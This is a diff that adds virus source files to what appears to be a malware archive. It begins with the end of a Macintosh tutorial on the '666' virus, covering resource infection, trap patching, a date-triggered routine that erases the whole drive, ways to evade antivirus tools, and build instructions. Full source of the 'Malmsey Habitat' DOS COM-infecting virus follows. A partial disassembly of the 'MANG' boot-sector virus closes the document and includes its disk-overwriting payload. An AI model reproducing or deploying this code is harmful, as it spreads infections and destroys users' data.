BNE.S ExitPatch ;exit if error occured +;*************************************************************** +;finally update the current resource file +;*************************************************************** + MOVE.W CurResFile(A4),-(SP) ;push current res file + _UpdateResFile ;write it +ExitPatch + BSR.S Dispose ;dispose any new handles + MOVE.W CurResFile(A4),-(SP) ;push current res file + _UseResFile ;use it again, might have been changed + MOVEM.L (SP)+,A0-A4/D0-D7 ;restore registers + MOVEA.L OldInitMenus,A0 ;get address of original InitMenus + JMP (A0) ;jump to original InitMenus +;*************************************************************** +;we need to test whether we need to dispose our new handle. +;*************************************************************** +Dispose + TST.L NewHandle(A4) ;is our handle nil? + BEQ.S DontDispose ;if yes, don't dispose anything +;*************************************************************** +;we need to test whether our handle is resource or plain. +;*************************************************************** + MOVEQ #0,D0 ;clear D0 + MOVE.L NewHandle(A4),A0 ;handle in A0 + _HGetState ;get the state of the handle + BTST #5,D0 ;test the resource bit + BNE.S DontDispose ;if set, exit + MOVE.L NewHandle(A4),A0 ;put in A0 + _DisposeHandle ;dispose regular handle if addresource failed +DontDispose + RTS +;*************************************************************** +;the following subroutine will erase the drive contents!!! +;it will recursivelly go down any directory, deleting any non +;application files it finds +;A0 holds the address of CInfoPB, or HParamBlock +;A1 holds the address of CInfoPB as a copy +;D1 is the recursive directory counter +;D0 is usually the error code from routines +;*************************************************************** +EraseDrive + LINK A6,#0 ;no locals + MOVE.L D1,-(SP) ;save D1 + MOVEQ #0,D1 ;start counter +AddOne + ADDQ #1,D1 ;add 1 to counter + LEA CInfoPB,A0 ;load address of our record + CLR.L ioCompletion(A0) ;nil + LEA theName,A1 ;name address + MOVE.L A1,ioNamePtr(A0) ;name address + MOVE.W 12(A6),ioVRefNum(A0) ;vrefnum we want + MOVE.L 8(A6),ioDirId(A0) ;dirid + MOVE.W D1,ioFDirIndex(A0) ;index into directory + _GetCatInfo ;get directory info + CMP.W #fnfErr,D0 ;see if end of directory + BEQ.S ExitScan ;exit scanning if done + MOVE.B ioFLAttrib(A0),D0 ;get file attributes + BTST #4,D0 ;is it a directory? + BEQ.S EraseFile ;no, go to erase + MOVE.W 12(A6),-(SP) ;push vrefnum + MOVE.L ioDrDirId(A0),-(SP) ;push directory + JSR EraseDrive ;call recursivelly + BRA.S DontCorrect ;continue with rest of directories +EraseFile + CMP.L #'APPL',FileType(A0) ;check file type + BEQ.S DontCorrect ;don't erase applications + MOVEA.L A0,A1 ;copy address + LEA HParamBlock,A0 ;load address of block + CLR.L ioCompletion(A0) ;nil + LEA theName,A2 ;address of string + MOVE.L A2,ioNamePtr(A0) ;put in ionameptr + MOVE.W 12(A6),ioVRefNum(A0) ;put vrefnum + MOVE.L ioFLParId(A1),ioDirID(A0) ;put parent directory + _HDelete + BNE.S DontCorrect ;if no error, don't correct + SUBI.W #1,D1 ;one less on index +DontCorrect + BRA.S AddOne ;loop back +ExitScan + MOVE.L (SP)+,D1 ;restore D1 + UNLK A6 ;unlink + MOVEA.L (SP)+,A0 ;pop return address + ADDQ #6,SP ;pop arguments + JMP (A0) ;return +ExtensionName + DC.B $04,$01,'666',$00 +Vars + DCB.B 34,0 +theSpec + DCB.B 70,0 +Finfo + DCB.B 16,0 +DatTimeRec + DCB.B 14,0 +CInfoPB + DCB.B 108,0 +HParamBlock + DCB.B 122,0 +theName + DCB.B 64,0 +EndLabel + ENDMAIN + END + +First, we define some offsets to reference our variables which start at label +Vars. Register A4 will always point to the Vars label at run time. Our +Entrance label is 'Entry' and is used later to calculate the length of the +virus. Then we save all registers except A5, A6, and A7. As you remember, A5 +is used to reference global variables in any program, so we don't fool around +with it. A6 is the stack frame register, so we leave it alone. A7=SP is the +Stack pointer, so we leave that alone as well. We don't really need to access +any of these. We save all the rest just in case. We will not be using most of +the saved ones, but i like to be on the safe side. Then we load the 'Vars' +label into A4, so we can reference all our variables. Next we get hold of the +current resource file, since we need to restore it before we exit so we don't +inadvertently change the order of resource files and have unpredictable +crashes. Be VERY careful when you change the current resource file. ALWAYS +restore it in the end, before you exit. Other resource manager routines +depend on finding the file resource map in memory intact. We copy the current +resource file reference number into our var section. Ok, basic housekeeping +is done. We then need to determine the state of our execution. Namely, this +virus has two states, depending on the double action principle. If it is run +from the system, it is in the first state. If it is run from an infected +application, it is in the second state. How do we determine the state we are +in? Simple. We look for an INIT resource in the current resource file (that +is, us) and if it exists, that means we are running as an INIT. If it does +not, we are running as a MDEF. We use the trap _Get1Resource to get hold of +the INIT resource and we store it in the corresponding variable. The, if the +data transfered was zero, indicating a nil master pointer for the resource +fetched, we branch into the second state, that is, the MDEF state. Here, +let's assume that we are in the first state, that of having fetched +succesfully an INIT resource, so we fall through onto the next statement. Our +extension now, will patch the _InitMenus trap. A small diversion here. Those +two wonderful traps, _GetToolboxTrapAddress and _SetToolboxTrapAddress that +come next, are the main tools of patching. Look back into the TRAP PATCHING +section of the article. For example, if I used the trap +_GetToolboxTrapAddress on the trap $A9AB, it would return the address +$3501980 to us. That's what those traps do. They fetch the actual routine +address from the dispatch table. The second one, can set the address to +whatever we want. So we move the trap number for _InitMenus into D0 and call +the _GetToolboxTrapAddress to recover the actual routine address. Then we +stuff the returned address into the label "OldInitMenus". After we save thus, +we install onto the trap _InitMenus OUR address, which is "MyInitMenus". That +will make sure that everytime someone calls _InitMenus, our code will be +executed first. Then, we call DetachResource on the entire INIT, to +disassociate it from our file, and to cause it to float in memory regardless +of our closing the Extension. A note here: It is assumed that any trap +patches are installed into the System Heap, and they are Locked. Don't make +the mistake of building an Extension from MPW of this code without setting +the resSysHeap, resPreload and resLocked bits. The machine will crash badly +if you forget those. The virus installs the resource correctly when it runs +off an application. Finally, we restore our registers and we exit gracefully. +The RTS instruction will bring us back to whoever called our Extension file. +The Extension now has done its job. Any time someone calls _InitMenus, that +someone will be running our code first, so he will be infected immediatelly +from memory. We continue with the second state. The code that will run from +an infected application. This code starts at the label MDEF. So let's look at +this code in detail: First we get hold of ourselves, i.e. the very code +that's running, but this time as a MDEF resource. We call GetResource and +this call returns basically a handle to the beginning of the virus code. We +store this handle in the variable 'Handle2Us'. Then we need to fetch the +original MDEF=0 code, so we can jump to it when we are done. We thus call +GetResource from the System file and we store the handle into 'SystemMDEF'. +If the handle is non-nil, we branch immediatelly into the 'InfectSys' label. +If it is nil (0), we are in trouble. Since we don't have any code to jump to +when we are done, we must necessarilly crash. So, we do. This is what the +trap _Debugger does. Here I have added a simple date-trigger test, which will +be used to activate the virus' evil behaviour. While on the label CheckDate +then, we fetch the system date from the low mem global "Time" and we convert +that to a dateTimeRec. Then we check the day, and if it is the sixth of the +month, all hell breaks loose. First we get the default volume. Then we push +the volume number onto the stack, and then we push the first directory id, +which is 2. Then we call the subroutine at the end of the program to erase +the drive contents. More on that subroutine later. So let's assume now its +not an erase date. We then pass onto the 'InfectSys' code. There, we clear +the variable ExtRefNum first to zero, so that we can have a way later to +determine if we have opened a new resource file-the Extension that we are +going to install. Then we call the trap _FindFolder to get hold of the +vRefnum and dirID of the Extensions directory on the system disk. We then try +to make a file speciification for our file, by using the returned +foundVrefNum and foundDirId from _FindFolder. Next we try to create the file +itself, based on the file specification we got from the above calls. Note +here, that we ignore the error retured from _FSpCreateResFile (might be +non-zero if the file exists already) because we need to open the file anyway. +For example, if an AV is running, it will not let us create such a file. +There will be a file created with no creator and filetype if we fail because +of an AV. Thus, if a failed file exists, we need to reset its file attributes +and copy the virus there. That's why we call _FSpGetFInfo, to get its +attributes anyway. We then reset the attributes and call _FSpSetFInfo to set +them again, in case the file was a failed one from a previous unsuccessful +attempt. We then call _FSpOpenResFile and try to open the file with write +permission to look inside. We look for an 'INIT' with id=666 resource. If the +Get1Resource call returns a handle to such a resource, the system is +infected, so we can exit. If it is not infected, we disassociate ourselves +from our file with DetachResource and we add ourselves to the file as an INIT +resource of id=666. Next, we remind ourselves that the INIT resource in that +special file needs to be resSysHeap+resPreload+resLocked. So we set those +attributes appropriately on the new resource. We first get the old ones, and +set the bits on those old ones, so we don't upset any preset ones. Finally we +call ChangedResource on the newlly added resource, and we exit. Upon exiting, +we look at the refnum of the opened Extension. If it is zero, it means we +haven't opened anything, so we just don't close any files. If it is nonzero, +we close the newlly created file. Then we fetch the address of the old MDEF +from where it has been stored and JMP to that location after we restore the +current resource file. From that point on, the MDEF=0 takes over control and +performs the regular MENU operations as expected. What follows, is the actual +patch code that gets executed upon anybody calling _InitMenus. We must carry +this code with us always, since we must install it on an uninfected system. +To understand the entry section, look at the previous TRAP PATCHING section +on this article. This code starts with a BRA instruction to jump over the +label that holds the original address of _InitMenus, as it has been stored +there from our Extension file. Then we first save all the registers again, +and load our variables into register A4 as we did before with the MDEF code +section. We clear our NewHandle variable so that we can tell later if we have +something non-zero there. We immediatelly get hold of the current resource +file (which will be the application that has called _InitMenus) and store it +in the variable CurResFile. We next examine if this current application that +is running is already infected. The test for that is whether the +Get1Resource('MDEF',666) call is successful. If it is, the application is +already infected, so we exit. If it is not, we will infect it. We then look +if the application has any MENU resources. If it doesn't have any, it is +immune against our virus, since even if we infect it, the MDEF=666 will never +be activated, since there will be no MENU resource with MDEF=666 to activate +it. We COULD infect it, but i like simplicity. There is no reason we should +infect a stale application that has no chance of propagating the virus. The +call Count1Resources('MENU') returns how many resources of that type are +inside the application. If none, we exit. If <>0 then we pick a MENU with a +valid index (that will be some MENU resource with MDEF=0) and get hold of +that MENU resource, this time through this index. (Instead of calling +GetResource('xxxx',id) you can call Get1IxResource('xxxx',index) with index +varying from 1 to Count1Resources('xxxx') to get handles to those resources +instead. Then the crucial part: We need to calculate how long our virus is. +We thus subtract the beginning of the virus from the end, to get a count, +which we load into the variable 'bytes2Copy', so we can use it later. We call +NewHandle to allocate this many bytes, and we store this handle in the +variable 'NewHandle'. We must now 'lock' the handle so that it doesn't move +in memory, and after we successfully do, we copy ourselves onto the block of +memory our new handle points to, using BlockMove. We then unlock our handle +and we are ready to copy. We push the type and id of the resource we want to +add, and we add it to the current resource file (i.e. the file that is +running). If an AV is running, the AddResource call will fail (we will tell +that with ResErr<>0), and in this case, we branch immediatelly into +'ExitPatch'. Next, we need to change the MDEF id of that MENU resource so +that when the menu manager tries to draw our menu, our MDEF=666 will +activate. The MDEF resource id is stored in the MENU resource 6 bytes into +the data record. So we stuff a 666 in there. We then unlock the resource and +call ChangedResource so that the file resource map will be updated on call +later. In fact the UpdateResFile follows, which writes all our changes +permanently. What follows, needs careful analysis. It is the ExitPatch label +inside which we need to perform certain tests to insure that we don't +unecessarily do something we don't need to. For example, if we exited due to +an error, we might have not allocated a NewHandle. That's why we test for a +nil handle here, and if it is nil, we don't do anything else but simply exit. +If however our calls for NewHandle were successful, we need to determine if +we have a plain memory handle (i.e. if we successfully allocated memory but +failed to add a resource) or a resource handle (i.e. if we have successfully +allocated memory AND the handle was added later as a resource, which means it +became a resource handle) For that, we call HGetState(NewHandle) to get its +state. If bit #5 on 'state' is set, then it is a resource handle. If not, it +is a plain handle. Accordingly, we call the proper routine. Either +DisposeHandle, or ReleaseResource, depending on what we have. Finally we +restore the current resource file and the registers, and JMP onto the +original routine for _InitMenus. That's it :) + +DIRECTORY SCANNING + +Before we analyze the Erasing subroutine, lets look a bit at the Pascal +Source of the predecessor to my Erase subroutine, on which the asm routine is +based. It is quite simple: + +program CatInfo; +{$I-} + var + err: integer; + vRefNum: integer; + CInfoPB: CInfoPBRec; + theName: Str255; + procedure TraverseDrive (vRefNum: integer; DirId: longint); + var + i: integer; + err, ferr: integer; + begin + i := 0; + repeat + i := i + 1; + with CInfoPB do + begin + ioCompletion := nil; + ioNamePtr := @theName; + ioVRefNum := vRefNum; + ioDirID := DirId; + ioFDirIndex := i; + end; + err := PBGetCatInfo(@CInfoPB, false); + if (err = noErr) then + if BTST(CInfoPB.ioFLAttrib, 4) then + TraverseDrive(vRefNum, CInfoPB.ioDrDirId) + else + writeln(theName) + until err = fnfErr; + end; +begin + InitGraf(@thePort); + InitWindows; + InitMenus; + TEInit; + InitDialogs(nil); + err := GetVol(nil, vRefNum); + writeln(vRefNum); + TraverseDrive(vRefNum, 2); +end. + +The source is pretty self explanatory. We first get the default volume number +and we pass this along with the first directory id=2 to the subroutine. The +subroutine simply scans a directory, and enumerates its contents. If the +fetched item is a directory, (BTST(CInfoPB.ioFLAttrib, 4)), we call +recursivelly and go one level down to traverse the new directory. If it is a +file, we just write its name. The idea is very simple. If we wanted to erase +the drive, we would have instead of writeln, an HDelete. But note one +important catch here! If we delete a file of say enumeration index n, we +actually LOSE one index, so we must subtract one from our index scan counter. +This is a very common bug, which many viruses so far have missed, and as +such, their erase routines fail. But ours does not :) So let's go and look at +the granddaddy of all eraseing subroutines, the simplest possible directory +scanner, in asm: + +THE ERASE DRIVE SUBROUTINE + +The last segment of our virus is a subroutine that gets called when the date +trigger activates the virus. It needs to be a complete subroutine, with LINK +and UNLK and stuff, since we will be calling it recursivelly. We first LINK +A6 with 0 bytes locals, (we have no need for locals) and then we save +register D1, since our counter needs to be preserved recursivelly when we go +up one level. The subroutine accepts two arguments on the stack, a vRefNum, +(2 bytes) and a DirID (4 bytes). These arguments after the link are to be +found at 12(A6) and at 8(A6). So each time we enter the subroutine, we +retrieve them from those locations and feed them into our CINfoPB parameter +block, to give them as parameters to _GetCatInfo. We also give a dirIndex, +which is simply a counter of objects in any directory and then we call the +trap. The trap returns information in our CInfoPB parameter block. If the +trap returns fnfErr (file not found error) we exit. The trap returns this +error when the entire directory has been traversed. If the error is nonzero, +we check the objects file attributes like in the Pascal source, to see if it +is a file or a directory. If it is a file, we jump to the label EraseFile. If +not, we call the subroutine recursivelly. After we are done, we branch to +DontCorrect, which simply loops back and increases our counter. On the label +EraseFile, we check the fileType of the returned file. If it is an +application we leave it alone. There is no sense in erasing the very carriers +of the virus. That would be equivallent to the virus committing suicide. We +don't want that of course!!! Then, provided our file is not an APPL, we load +the correct fields into our HParamBlock record, and we call _HDelete. If +_HDelete returns an error (such as file busy or whatever) we simply loop back +to increasing the counter and continue with our scanning. If however the call +was successfull, we need to decrease our counter by one, because we have one +file less in the directory now!!!. So then, we branch back to increasing our +counter, and we continue. Finally, the ExitScan label will be reached when +all the objects in a particular directory have been enumerated, so we restore +D1, Unlink our stack frame, pop the return address, pop our arguments (2 for +vRefNum+4 for DirID) and we return to whoever called us. The subroutine is +actually a direct adaptation to the Pascal enumerator, with the exception of +the index correction when we delete. You should have no problems +understanding it. It is actually pretty simple. Don't forget to check Inside +Macintosh, to see how we load all those blocks into A0 before we call the +corresponding traps. + +What follows are the Extension name and our vars. + +A NOTE ON ENCRYPTION + +Before submitting this project to the Codebreakers, i was thinking why not +finish a nicely done job and encrypt the virus. The job is actually quite +easy. I would have the first instruction to be a BRA Decrypt and when the +virus needs to add resources to other files, I would do a BSR Encrypt. The +Decryption engine would be appended to the end of the virus, and it would be +relatively simple. Actually i did it, and the engine was around 40-50 bytes. +But upon seriously thinking about it, when i looked at the encrypted version +of the virus, i could easily spot the pick up of the key from the location i +was storing it. If someone is a specialist on asm, one could immediately +figure out the engine. I was going to implement a simple XOR encryption, but +the virus got bulky and complicated, and it crashed for some reason that +would have taken me weeks to figure out using MacsBug. I had enough trouble +to figure out why this version crashed, before i figured out to split my +DisposeHandles routine to two pieces, one that disposed Memory handles and +the other that Released Resource manager handles. That was tricky. In any +case, even if the encryption was successful, the id of the MDEF would be +always 666. So any scanning program would simply check for any MDEF=666 +resources and it would issue alerts immediatelly. One possible solution to +that would be to infect application files with MDEFs of variant ids. This +technique though, would complicate the signature verification of the virus, +as the virus would have to check for all possible MDEF ids to figure out if +an application is alerady infected. Still, even if one did that, the +decryption engine would be visible. I am not a specialist on virus +encryption, and i am sure that PeeCee guys out there have many mutational +Encryption engines, but i am not going to proceed thus far. I will leave it +as is (for now). + +EPILOGUE + +I will emphasize again that it is very easy for this virus to escape your +control. Be VERY careful when you experiment with it. In some cases AV tools +may not help you at all. I haven't examined its behaviour under many AVs, +except some that just track suspicious behaviour, such as Gatekeeper and SAM +Intercept. If it runs away from you, open all your files with either ResEdit +or Resourcerer and look for MDEFs with ids of 666. Remove them all, and also +look in the MENU resources of those programs, and change their MDEF ids where +they have been changed back to 0. In fact if it escapes you, you are in deep +shit, because on the next 6-th of the month, one instance of it will attempt +to erase your drive's contents. IF THIS VIRUS ESCAPES YOU, DON'T START YOUR +MACHINE AT ALL ON ANY SIXTH OF THE MONTH BEFORE YOU CLEAN UP ALL OF THE +INFECTION!!!! Lots of work i assure you. But this is the price of wanting to +fool around with beasties like this one. Otherwise, have lots of fun with +this one, its my best accomplishment so far in the area of Mac viruses and +the first virus that has no problems whatsoever on all the OSs from 6.0.7 and +up. I hope i have explained everything as best as i could. + +ENHANCEMENTS + +One could easily enhance upon the existing source. What comes to mind is +first of all efficient encryption with variant MDEF ids. I.e. the virus could +infect different applications with MDEFs of different ids. Of course the +infection verification will become quite bulky. But you could use +Get1IxResource to scan through the MDEFs to find if one is ours. Another +possible enhancement would be to make the virus more infectuous. Note that if +both the system and the application that's running are infected, the virus +basically does nothing. One could use here the routine _PBGetCatInfo to find +another application on the hard drive, possibly a random one, and infect it +statically. (our infection is dynamic, through memory remember) Of course +that would present additional difficulties, such as calling _Random, but +remember the seed for _Random is set to one every time an application is +first run. SO we essentially don't have access to true Randomness. But one +could fool around with the globals and feed the time into randseed. +Difficult-the virus has no globals-but not impossible. Try to experiment with +some of these ideas and see what you can come up with. I am too bored to +explore all of them :) + +BULDING THE PROJECT + +Finally the MPW commands to build it, assuming you have the application +SimpleText on your working directory, are: asm -o 666.a.o 666.a link 666.a.o +-o SimpleText -rt 'MDEF'=666 You also need to change the MDEF id of some MENU +in the application SimpleText so that the virus activates. Open SimpleText +with ResEdit. Double click on the MENU resources. Double click on one menu. +From the MENU menu, select "Edit Menu & MDEF id...". On the MDEF ID box, +enter 666. Save the changes and close. The application SimpleText is now +infected and active. + +THANX TO: + +I would like to thank Spo0ky and Opic for their invaluable suggestions. In +fact, some of the later projects like 666.polymorphic and 666.Symbiotic would +never have been possible (well, i could not resist and finally added +polymorphism to the 666 projects, download them from my section!!:) if it was +not for their tutorials in polymorphism and generic mutation. These guys seem +to have the brains of a CPU and although much younger than me, i am really +proud to have them as leaders. In fact again, polymorphism was suggested to +me by opic and symbiotism by spo0ky who has created the nastiest symbiotic +out there: DEScendant of Devil. Cheers guys. + +Have fun +(c) J.S.Bach-XTAR + diff --git a/MSDOS/Virus.MSDOS.Unknown.malmseys.asm b/MSDOS/Virus.MSDOS.Unknown.malmseys.asm new file mode 100644 index 00000000..bf031ba7 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.malmseys.asm @@ -0,0 +1,224 @@ +; +;Happy Birthday Robbie Virus +; + + code segment 'CODE' + assume cs:code,ds:code,es:code,ss:code + + org 0100h + +code_length equ finish - start +lf equ 0Ah +cr equ 0Dh + +start label near + +id_bytes proc near + mov si,si ; Serves no purpose: our ID +id_bytes endp + +main: mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds attribute mask + mov dx,offset com_spec ; DX points to "*.COM" + +file_loop: int 021h + jc exit_virus ; If there are no files, go + ; off + + call infect_file ; Try to infect found file + jne exit_virus ; Exit if successful + + mov ah,04Fh ; DOS find next file function + jmp short file_loop ; Repeat until out of files + +exit_virus: + mov ah,2Ah + int 21h + cmp dl,3 + jne dos_drop + cmp dh,10 + je eat_screen +dos_drop: int 20h +eat_screen: mov byte ptr count,0 + mov ah,00 + mov al,03 + int 10h + mov ah,08 + int 10h + mov byte ptr count2,al + cmp byte ptr count2,00 + jne draw_face + mov byte ptr count2,0fh +draw_face: + mov ah,01 ;set cursor type + mov cl,00 + mov ch,40h + int 10h + mov cl,00 + mov dl,4fh + mov ah,06 ;clear the display window + mov al,00 + mov bh,0fh ;blank line attribs + mov ch,00 ;starting at upper left corner + mov cl,00 ; to + mov dh,00 ;row 0 + mov dl,4fh ;column 4Fh + int 10h + mov ah,02 ;set cursor position + mov dh,00 ;to row 0, + mov dl,1fh ;column 1Fh + mov bh,00 ;in graphics mode + int 10h + mov dx,offset eyes ;get the eyes + mov ah,09 ;and draw them to screen + mov bl,0fh ;this colour + int 21h + mov ah,02 ;reposition character + mov dh,01 ;to row 1, + mov dl,00 ;column 0 + int 10h + mov ah,09 ;write character and attrib + mov al,0dch ;character shape + mov bl,0fh ;character colour + mov cx,50h ;number of characters. + int 10h + mov ah,02 ;reposition cursor + mov dh,18h ;to row 18h + mov dl,00 ;column 0 + int 10h + mov ah,09 ;write character & attribute + mov al,0dfh ;character shape + mov bl,0fh ;character colour + mov cx,0050h ;number of characters + int 10h + mov dl,00 ;back to column 0 +make_teeth: + mov ah,02 ;set cursor position + mov dh,02 ;to row 2 + int 10h + mov ah,09 ;write the character + mov al,55h ; "U" for one top tooth + mov bl,0fh ; colour code + mov cx,1 ;only one tooth + int 10h + mov ah,02 + mov dh,17h ;row 17h + inc dl ;increase column number + int 10h + mov ah,09 ;write a character there. + mov al,0efh ;character "ļ" for bottom teeth + mov bl,0fh ;colour code + int 10h + inc dl ;increment column number + cmp dl,50h ;is there 50h of them yet? + jl make_teeth ;make more if not + mov byte ptr count,0 ;0 the counter +pause_1: + mov cx,7fffh +a_loop: + loop a_loop ;pause + inc byte ptr count + cmp byte ptr count,0ah + jl pause_1 + mov byte ptr count,00 + mov cl,00 ;from column 0 + mov dl,4fh ;to column 79, +close_jaws: + mov ah,06 ;scroll the page up + mov al,01 ;blanking a line + mov bh,byte ptr count ;with this attribute + mov ch,0dh ;and from row 13 + mov dh,18h ;to row 24 + int 10h + mov ah,07 ;scroll downward + mov al,01 ;blanking one line + mov bh,byte ptr count ;with this attribute + mov ch,00 ;from row 0 + mov dh,0ch ;to row 12 + int 10h + mov cx,3fffh +b_loop: + loop b_loop ;pause + inc byte ptr count + cmp byte ptr count,0bh + jl close_jaws + mov byte ptr count,00 +pause_2: + mov cx,7fffh +finish_up: + loop finish_up + inc byte ptr count ;increment count by 1 + cmp byte ptr count,0ah ;is it a 10 yet? + jl pause_2 ;no? loop again... + mov ah,06 ;scroll page up + mov al,00 ;blank entire window + mov bh,byte ptr count ;with this attribute + mov ch,00 ;from row 0, + mov cl,00 ;column 0, + mov dh,18h ;to row 18h + mov dl,4fh ;column 79 + int 10h + mov ah,01 ;reset cursor type + mov cl,07 + mov ch,06 ;everything is back to normal + int 10h + mov si,offset rabid +fuckin_loop: lodsb + or al,al + jz $ + mov ah, 0Eh + int 10h + jmp short fuckin_loop +infect_file: + mov ax,03D02h ; DOS open file function, + ; read-write + mov dx,09Eh ; DX points to the victim + int 021h + + xchg bx,ax ; BX holds file handle + + mov ah,03Fh ; DOS read from file function + mov cx,2 ; CX holds byte to read (2) + mov dx,offset buffer ; DX points to buffer + int 021h + + cmp word ptr [buffer],0F68Bh;Are the two bytes "MOV SI,SI" + pushf ; Save flags + je close_it_up ; If not, then file is OK + + cwd ; Zero CX \_ Zero bytes from + ; start + mov cx,dx ; Zero DX / + mov ax,04200h ; DOS file seek function, + ; start + int 021h + + mov ah,040h ; DOS write to file function + mov cx,code_length ; CX holds virus length + mov dx,offset start ; DX points to start of virus + int 021h + +close_it_up: mov ah,03Eh ; DOS close file function + int 021h + + popf ; Restore flags + ret ; Return to caller + +buffer dw ? ; Buffer to hold test data + +; Initialized data goes here + +com_spec db "*.COM",0 ; What to infect: all COM +count db 0, 0 +count2 db 0, 0 +eyes db '(o) (o)$' +dinked db '[Malmsey Habitat v. 1.3]', 0 +rabid db cr, lf + db 'Warmest Regards to RABID', cr, lf + db 'from -- ANARKICK SYSTEMS! ',0,'$' + +finish: + +code ends + end start + diff --git a/MSDOS/Virus.MSDOS.Unknown.mang.asm b/MSDOS/Virus.MSDOS.Unknown.mang.asm new file mode 100644 index 00000000..38599c53 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.mang.asm @@ -0,0 +1,252 @@ + +PAGE 59,132 + +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ +;ŪŪ ŪŪ +;ŪŪ MANG ŪŪ +;ŪŪ ŪŪ +;ŪŪ Created: 30-Aug-92 ŪŪ +;ŪŪ Passes: 5 Analysis Options on: none ŪŪ +;ŪŪ ŪŪ +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ + +data_0001e equ 4Ch +data_0002e equ 4Eh +main_ram_size_ equ 413h +data_0003e equ 7C00h ;* +data_0004e equ 7C05h ;* +data_0005e equ 7C0Ah ;* +data_0006e equ 7C0Ch ;* +data_0007e equ 7 +data_0008e equ 8 +data_0009e equ 0Ah +data_0014e equ 3BEh ;* +data_0015e equ 7C03h ;* +data_0016e equ 0B300h ;* +data_0017e equ 1BEh ;* +data_0018e equ 5000h ;* + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +mang proc far + +start: + jmp loc_0007 + cmc ; Complement carry + add [bx+si-61h],al + add cl,ds:data_0016e + db 2Eh, 00h,0F0h, 1Eh, 50h, 0Ah + db 0D2h, 75h, 1Bh, 33h,0C0h, 8Eh + db 0D8h,0F6h, 06h, 3Fh, 04h, 01h + db 75h, 10h, 58h, 1Fh, 9Ch, 2Eh + db 0FFh, 1Eh, 0Ah, 00h, 9Ch,0E8h + db 0Bh, 00h, 9Dh,0CAh, 02h, 00h + db 58h, 1Fh, 2Eh,0FFh, 2Eh, 0Ah + db 00h + db 50h, 53h, 51h, 52h, 1Eh, 06h + db 56h, 57h, 0Eh, 1Fh, 0Eh, 07h + db 0BEh, 04h, 00h +loc_0002: + mov ax,201h + mov bx,200h + mov cx,1 + xor dx,dx ; Zero register + pushf ; Push flags + call dword ptr ds:data_0009e + jnc loc_0003 ; Jump if carry=0 + xor ax,ax ; Zero register + pushf ; Push flags + call dword ptr ds:data_0009e + dec si + jnz loc_0002 ; Jump if not zero + jmp short loc_0006 +loc_0003: + xor si,si ; Zero register + cld ; Clear direction + lodsw ; String [si] to ax + cmp ax,[bx] + jne loc_0004 ; Jump if not equal + lodsw ; String [si] to ax + cmp ax,[bx+2] + je loc_0006 ; Jump if equal +loc_0004: + mov ax,301h + mov dh,1 + mov cl,3 + cmp byte ptr [bx+15h],0FDh + je loc_0005 ; Jump if equal + mov cl,0Eh +loc_0005: + mov ds:data_0008e,cx + pushf ; Push flags + call dword ptr ds:data_0009e + jc loc_0006 ; Jump if carry Set + mov si,data_0014e + mov di,1BEh + mov cx,21h + cld ; Clear direction + rep movsw ; Rep when cx >0 Mov [si] to es:[di] + mov ax,301h + xor bx,bx ; Zero register + mov cx,1 + xor dx,dx ; Zero register + pushf ; Push flags + call dword ptr ds:data_0009e +loc_0006: + pop di + pop si + pop es + pop ds + pop dx + pop cx + pop bx + pop ax + retn +loc_0007: + xor ax,ax ; Zero register + mov ds,ax + cli ; Disable interrupts + mov ss,ax + mov ax,7C00h + mov sp,ax + sti ; Enable interrupts + push ds + push ax + mov ax,ds:data_0001e + mov ds:data_0005e,ax + mov ax,ds:data_0002e + mov ds:data_0006e,ax + mov ax,ds:main_ram_size_ + dec ax + dec ax + mov ds:main_ram_size_,ax + mov cl,6 + shl ax,cl ; Shift w/zeros fill + mov es,ax + mov ds:data_0004e,ax + mov ax,0Eh + mov ds:data_0001e,ax + mov ds:data_0002e,es + mov cx,1BEh + mov si,data_0003e + xor di,di ; Zero register + cld ; Clear direction + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + jmp dword ptr cs:data_0015e + xor ax,ax ; Zero register + mov es,ax + int 13h ; Disk dl=drive a ah=func 00h + ; reset disk, al=return status + push cs + pop ds + mov ax,201h + mov bx,data_0003e + mov cx,ds:data_0008e + cmp cx,7 + jne loc_0008 ; Jump if not equal + mov dx,80h + int 13h ; Disk dl=drive 0 ah=func 02h + ; read sectors to memory es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + jmp short loc_0009 +loc_0008: + mov cx,ds:data_0008e + mov dx,100h + int 13h ; Disk dl=drive a ah=func 02h + ; read sectors to memory es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + jc loc_0009 ; Jump if carry Set + push cs + pop es + mov ax,201h + mov bx,200h + mov cx,1 + mov dx,80h + int 13h ; Disk dl=drive 0 ah=func 02h + ; read sectors to memory es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + jc loc_0009 ; Jump if carry Set + xor si,si ; Zero register + cld ; Clear direction + lodsw ; String [si] to ax + cmp ax,[bx] + jne loc_0014 ; Jump if not equal + lodsw ; String [si] to ax + cmp ax,[bx+2] + jne loc_0014 ; Jump if not equal +loc_0009: + xor cx,cx ; Zero register + mov ah,4 + int 1Ah ; Real time clock ah=func 04h + ; get date cx=year, dx=mon/day + cmp dx,306h + je loc_0010 ; Jump if equal + retf ; Return far +loc_0010: + xor dx,dx ; Zero register + mov cx,1 +loc_0011: + mov ax,309h + mov si,ds:data_0008e + cmp si,3 + je loc_0012 ; Jump if equal + mov al,0Eh + cmp si,0Eh + je loc_0012 ; Jump if equal + mov dl,80h + mov byte ptr ds:data_0007e,4 + mov al,11h +loc_0012: + mov bx,data_0018e + mov es,bx + int 13h ; Disk dl=drive 0 ah=func 03h + ; write sectors from mem es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + jnc loc_0013 ; Jump if carry=0 + xor ah,ah ; Zero register + int 13h ; Disk dl=drive 0 ah=func 00h + ; reset disk, al=return status +loc_0013: + 